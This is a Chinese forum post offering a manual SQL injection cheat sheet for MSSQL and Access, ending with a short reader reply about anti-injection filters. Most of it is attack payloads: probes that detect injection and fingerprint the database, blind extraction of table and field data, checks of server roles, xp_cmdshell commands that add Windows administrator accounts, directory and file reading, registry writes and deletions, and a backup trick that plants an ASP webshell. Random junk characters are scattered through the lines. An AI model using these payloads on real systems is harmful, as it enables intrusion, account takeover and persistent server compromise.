手工脚本注入

admin

手工脚本注入
8 _7 R& c* p9 t1.判断是否有注入;and 1=1 ;and 1=2

2.初步判断是否是mssql ;and user>0

( ?0 Y+ T  B# f3.注入参数是字符'and [查询条件] and ''='

, o8 H" ~& `1 ~4.搜索时没过滤参数的'and [查询条件] and '%25'='
6 L5 R8 O+ {, B" F7 m
, t% x. A1 R! }% H# L  X- Z* g$ y) E5.判断数据库系统
9 r+ [# H* K. W;and (select count(*) from sysobjects)>0 mssql
6 s/ K2 ~. E8 K) ?) H- M/ F" ?;and (select count(*) from msysobjects)>0 access

6.猜数据库 ;and (select Count(*) from [数据库名])>0
8 P" o& l/ E& J: u6 f& L
7.猜字段 ;and (select Count(字段名) from 数据库名)>0

* v* ^: K4 G& p$ o/ l; W/ q, D8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0
- o/ X" M5 `# F! h& D6 }
9.(1)猜字段的ascii值（access）
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0

7 p# x) o0 c% W3 o  o(2)猜字段的ascii值（mssql）
# @0 @* Y( T5 {7 J* r;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0
9 L5 u5 t- [* F) S% |2 U
10.测试权限结构（mssql）
! K& P' F" t. e4 x" A* r) }: w2 f% X' q;and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
: y/ I$ ^% M$ W;and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
0 H" d% ]9 a# Q& p* z/ |;and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
" e! ^( J* V* ?/ s4 k2 Q9 _;and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
' k. \+ [5 a8 Y  ^, g;and 1=(select IS_MEMBER('db_owner'));--
$ ~: [) \0 X" A1 j; o, u6 Z  p& k
, {' u1 T$ `- ?3 S1 ?2 I11.添加mssql和系统的帐户
;exec master.dbo.sp_addlogin username;--

;exec master.dbo.sp_password null,username,password;--

;exec master.dbo.sp_addsrvrolemember sysadmin username;--

;exec master.dbo.xp_cmdshell 'net user username password
8 g, e8 J& f7 G7 Y/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';--
3 }' b8 ~3 K1 I; j7 M% Q; a
2 v9 W6 y" h9 d5 u6 W% {;exec master.dbo.xp_cmdshell 'net user username password /add';--

$ C6 {# N' f; E, L+ k;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--
! {5 m3 O! M1 G' \0 P
- F+ @: ]* ~/ D' {5 Q" U12.(1)遍历目录

;create table dirs(paths varchar(100), id int)
2 y% |: l- N- ^) ]' S; S;insert dirs exec master.dbo.xp_dirtree 'c:\'
6 e: D( M1 R7 P% _* e7 X;and (select top 1 paths from dirs)>0
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)

(2)遍历目录
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
" C! ^1 g4 ~/ x6 B;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
- s# N8 F% X5 ]# x1 K6 D, S;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表
6 p& W% M9 M. `, v5 T9 ^;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容

13.mssql中的存储过程
/ E& B# [# J) f3 [8 o4 i4 W' y
xp_regenumvalues 注册表根键, 子键
) x2 c/ t- ~( s2 o- p;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值

xp_regread 根键,子键,键值名
;exec xp_regread
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值

/ P* B) I; n; v/ R4 o# Zxp_regwrite 根键,子键, 值名, 值类型, 值
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型
8 d+ g% s+ h3 g- u$ i& f;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表

" {- v1 o8 d6 m; J: m5 Y, Dxp_regdeletevalue 根键,子键,值名

2 X" j) E, |- D) @exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值
& Y: \8 k1 d7 R% `8 A
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值
! W, q  _! D, z# R! n
- {# s( v! g+ \- ^' u3 d5 _0 @14.mssql的backup创建webshell
' ^) T; X  C6 A6 C+ y7 ?) Muse model
create table cmd(str image);
! {$ [, x4 e! ^2 q; Sinsert into cmd(str) values ('');
  G4 I" ^7 r& u4 @backup database model to disk='c:\l.asp';

9 o% P9 {3 L5 ~+ `* S$ Q15.mssql内置函数
* ^- n0 t3 X$ x* S;and (select @@version)>0 获得Windows的版本号
;and user_name()='dbo' 判断当前系统的连接用户是不是sa
;and (select user_name())>0 爆当前系统的连接用户
;and (select db_name())>0 得到当前连接的数据库
+ R5 w0 k* s8 u# G
16.简洁的webshell

( V5 b6 k, \& u# p3 E: Uuse model
- W* ^# t7 U! T* P
+ H9 G$ X$ G* p, B' X  H. Ocreate table cmd(str image);
2 [& T# @' g2 J; I% d+ ]4 n
insert into cmd(str) values ('');
* `! R2 k4 A* z" Y6 _% K; L
backup database model to disk='g:\wwwtest\l.asp';

  r& W! @9 M8 m1 o0 Z$ f

老男孩

现在很多防注入啊，有其他注入字符码